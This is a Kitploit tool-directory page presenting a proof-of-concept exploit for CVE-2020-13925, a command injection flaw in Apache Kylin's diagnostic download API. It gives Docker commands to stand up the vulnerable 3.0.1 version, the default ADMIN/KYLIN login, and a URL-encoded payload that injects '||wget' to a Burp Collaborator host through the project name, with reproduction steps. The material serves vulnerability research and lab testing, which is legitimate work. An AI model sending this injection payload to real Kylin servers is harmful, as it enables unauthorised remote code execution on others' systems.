Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2020-13925 — Proof-of-concept exploit for CVE-2020-13925, a command injection vulnerability in Apache Kylin's diagnostic API, allowing remote code execution via crafted project names. | Kitploit
Tools/GitHubGitHub/bit4woo/cve-2020-13925
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubbit4woo/cve-2020-13925

CVE-2020-13925

Proof-of-concept exploit for CVE-2020-13925, a command injection vulnerability in Apache Kylin's diagnostic API, allowing remote code execution via crafted project names.

View Repository
161636 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2020-13925

Environment Setup

Refer to https://github.com/apache/kylin to deploy using Docker, and change the version to 3.0.1 (the vulnerable version). You can remove -m 8G \ (it controls the allocated memory size).

Then visit http://host:7070/kylin/login. The default username and password are ADMIN/KYLIN.

root@kitploit:~
docker pull apachekylin/apache-kylin-standalone:3.0.1

docker run -d \
    -m 8G \
    -p 7070:7070 \
    -p 8088:8088 \
    -p 50070:50070 \
    -p 8032:8032 \
    -p 8042:8042 \
    -p 16010:16010 \
    apachekylin/apache-kylin-standalone:3.0.1
    
docker run -d \
    -p 7070:7070 \
    -p 8088:8088 \
    -p 50070:50070 \
    -p 8032:8032 \
    -p 8042:8042 \
    -p 16010:16010 \
    apachekylin/apache-kylin-standalone:3.0.1

Vulnerability Verification PoC

root@kitploit:~
Original request:
http://host:port/kylin/api/diag/project/learn_kylin/download
        
PoC request, GET method:
http://host:port/kylin/api/diag/project/%7c%7cwget%20h1j96qoac5o9mbqpkewkhxxa218rwg.burpcollaborator.net%7c%7c/download

That is, replace the project name "learn_kylin" with the following payload:
||wget h1j96qoac5o9mbqpkewkhxxa218rwg.burpcollaborator.net||

Reproduction Steps

Go to System → Configuration → Diagnosis. Trigger the request to download diagnostic information at http://host:port/kylin/api/diag/project/learn_kylin/download image.png

Then replace the project name "learn_kylin" with the above payload and access the URL.

image.png

Reference

https://mp.weixin.qq.com/s/LdEgENX2_b8tb12n4H9KJQ

Download Tool